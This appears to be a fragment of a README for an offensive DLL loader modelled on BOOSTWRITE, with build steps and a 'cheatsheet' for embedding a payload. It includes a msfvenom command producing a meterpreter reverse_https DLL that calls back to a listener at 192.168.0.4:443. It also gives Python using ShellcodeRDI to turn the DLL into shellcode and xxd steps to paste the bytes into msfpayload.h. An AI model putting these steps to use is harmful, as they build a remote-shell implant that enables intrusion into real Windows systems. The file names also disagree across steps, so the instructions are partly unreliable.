  3. Run bootstrap-vcpkg.bat

  4. Run vcpkg.exe integrate install

  5. Run vcpkg.exe install curl

# Build Instructions - Visual Studio

  1. Create new visual studio DLL C++ project.
  2. Substitute template dllmain.cpp for dllmain.cpp in this project.
  3. Add the header files into the project.
  4. Update msfpayload.h with your payload.

# MSFPayload Build Cheatsheet for BOOSTWRITE

  1. Generate MSF payload
msfvenom - p windows/x64/meterpreter/reverse_https LHOST=192.168.0.4 LPORT=443 -f dll -o msf.dll
  1. Leverage SRDI to create PIC code.
from ShellcodeRDI import *

dll = open("TestDLL_x86.dll", 'rb').read()
shellcode = ConvertToShellcode(dll)
print(shellcode)
# optional, write to a new DLL and use xxd to create C array
  1. Create C array of sRDI DLL or just copy the bytes produced by the previous example
xxd -i msf.exe

  1. Copy and paste in msfpayload.h

  2. Update variable names as appropriate.
